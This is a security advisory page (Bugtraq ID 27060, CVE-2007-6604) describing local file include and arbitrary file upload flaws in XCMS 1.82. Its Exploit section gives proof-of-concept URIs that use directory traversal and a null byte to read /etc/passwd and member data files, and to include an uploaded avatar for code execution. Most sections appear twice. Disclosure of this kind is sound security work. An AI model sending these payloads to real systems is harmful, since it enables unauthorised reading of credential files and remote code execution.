XCMS Multiple Local File Include Vulnerabilities and Arbitrary File Upload Vulnerability
BID:27060
Info
XCMS Multiple Local File Include Vulnerabilities and Arbitrary File Upload Vulnerability
| Bugtraq ID: | 27060 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-6604 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 28 2007 12:00AM |
| Updated: | May 07 2015 05:34PM |
| Credit: | Nexen is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
XCMS XCMS 1.82 |
| Not Vulnerable: | |
Discussion
XCMS Multiple Local File Include Vulnerabilities and Arbitrary File Upload Vulnerability
XCMS is prone to multiple local file-include vulnerability and an arbitrary-file-upload vulnerability because the application fails to sufficiently sanitize user-supplied input.
An attacker can exploit these issues to upload arbitrary files onto the webserver, execute arbitrary local files within the context of the webserver process, and obtain sensitive information. Successfully exploiting the arbitrary-file-upload and local file-include vulnerabilities at the same time may allow the attacker to execute remote code.
These issues affect XCMS 1.82; other versions may also be affected.
XCMS is prone to multiple local file-include vulnerability and an arbitrary-file-upload vulnerability because the application fails to sufficiently sanitize user-supplied input.
An attacker can exploit these issues to upload arbitrary files onto the webserver, execute arbitrary local files within the context of the webserver process, and obtain sensitive information. Successfully exploiting the arbitrary-file-upload and local file-include vulnerabilities at the same time may allow the attacker to execute remote code.
These issues affect XCMS 1.82; other versions may also be affected.
Exploit / POC
XCMS Multiple Local File Include Vulnerabilities and Arbitrary File Upload Vulnerability
An attacker can exploit this issue with a browser.
The following proof-of-concept URIs are available:
http://www.example.com/xcms/index.php?pg=admin&s=../../../../../etc/passwd\0
http://www.example.com/xcms/index.php?mod=[existing module]&pg=../../../../../etc/passwd\0
http://www.example.com/xcms/index.php?mod=[existingmodule]&pg=../../dati/membri/[username].dtb\0
http://www.example.com/xcms/index.php?mod=[existingmodule]&pg=../../uploads/avatar/[your_username].jpg\0
An attacker can exploit this issue with a browser.
The following proof-of-concept URIs are available:
http://www.example.com/xcms/index.php?pg=admin&s=../../../../../etc/passwd\0
http://www.example.com/xcms/index.php?mod=[existing module]&pg=../../../../../etc/passwd\0
http://www.example.com/xcms/index.php?mod=[existingmodule]&pg=../../dati/membri/[username].dtb\0
http://www.example.com/xcms/index.php?mod=[existingmodule]&pg=../../uploads/avatar/[your_username].jpg\0
Solution / Fix
XCMS Multiple Local File Include Vulnerabilities and Arbitrary File Upload Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
XCMS Multiple Local File Include Vulnerabilities and Arbitrary File Upload Vulnerability
References:
References:
- XCMS Homepage (XCMS)